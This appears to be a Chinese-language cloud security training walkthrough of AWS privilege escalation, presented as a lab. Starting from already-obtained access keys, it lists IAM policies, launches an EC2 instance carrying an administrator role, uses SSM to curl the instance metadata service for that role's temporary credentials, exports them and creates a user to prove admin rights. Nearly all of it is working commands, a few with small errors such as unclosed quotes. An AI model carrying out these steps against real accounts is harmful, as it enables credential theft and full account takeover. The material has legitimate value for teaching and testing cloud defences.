国内云安全培训请点击原文或访问以下链接
https://www.yuque.com/u8047536/supvqp/ri4ft0
前提是已经获取了相关的密钥
步骤 1:将 AWS CLI配置为访问凭证
aws configure
步骤 2:列出附加到用户的策略。此外,列出附加到用户的内联策略
aws iam list-attached-user-policies --user-name xxx aws iam list-user-policies --user-name xxx
步骤 3:尝试在AWS 账户上创建用户
aws iam create-user --user-name Bob
由于权限不足,用户创建失败。
步骤 4: 查看策略权限和详细信息
aws iam get-user-policy --user-name xx --policy-name ConfigureEC2Role
xx用户可以运行 EC2 实例并将角色传递给 EC2 实例。由于 xx用户还具有与 SSM 服务交互的权限,因此xx用户可以通过 SSM 在EC2 实例 上执行命令
步骤 5:列出 AWS 账户上可 传递给 EC2 服务的角色
aws iam list roles
步骤 6: 查看ec2admin 角色策略和权限
aws iam list-role-policies --role-name ec2admin
步骤 7: 查看策略权限
aws iam get-role-policy --role-name ec2admin --policy-name terraform-20210212121709495300000001
ec2admin 角色允许管理员访问 AWS 账户
步骤 8:查找 Amazon Linux 2 AMI 的 AMI ID
aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' --output json
AMI ID 为 ami-0d08a21fc010da680
步骤 9:检查 AWS账户中可用的子网
aws ec2 describe-subnets
记下子网ID
步骤 10:检查 ec2 服务的安全组
aws ec2 describe-security-groups
步骤 11:列出 AWS 账户 的实例配置文件
aws iam list-instance-profiles
记 下 ec2 实例配置文件名称
步骤 12:使用收集的详细信息启动 ec2 实例
aws ec2 run-instances --subnet-id subnet-0b57901260df6b3f3 --image-id ami-0d08a21fc010da680 --iam-instance-profile Name=ec2_admin --instance-type t2.micro --security-group-ids "sg-06407fe95d211b245
步骤 13:使用 SSM 在远程ec2 实例上运行命令
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2admin/"]' \
--targets "Key=instanceids,Values=i-0aa5cdcaf86dec148" \
--comment "aws cli 1
记下命令 ID。执行的命令将与元数据服务交互,并输出与 EC2 实例关联的角色的临时访问凭证。
步骤 14:使用 SSM 获取 命令的输出
aws ssm get-command-invocation \
--command-id "0765bff4-4966-446f-a0a2-4e0cdfee565f" \
--instance-id "i-0da83d9b4322af3fa"
命令执行成功。记 下访问密钥和会话令牌
步骤 15:记下命令输出中的访问密钥 并通过将访问密钥 ID、秘密访问密钥和会话令牌导出为环境变量来成为 ec2admin 角色
export AWS_ACCESS_KEY_ID=<access key id>
export AWS_SECRET_ACCESS_KEY=<secret access key>
export AWS_SESSION_TOKEN=<session token>
步骤 16:查看调用方身份以确认代入角色是否成功
aws sts get-caller-identity
已成功代入角色
步骤 17:尝试在 AWS 账户上 创建新用户以验证管理权限
aws iam create-user --user-name Bob
已成功执行特权操作
1.AWSCLI(https://docs.aws.amazon.com/cli/latest/reference/)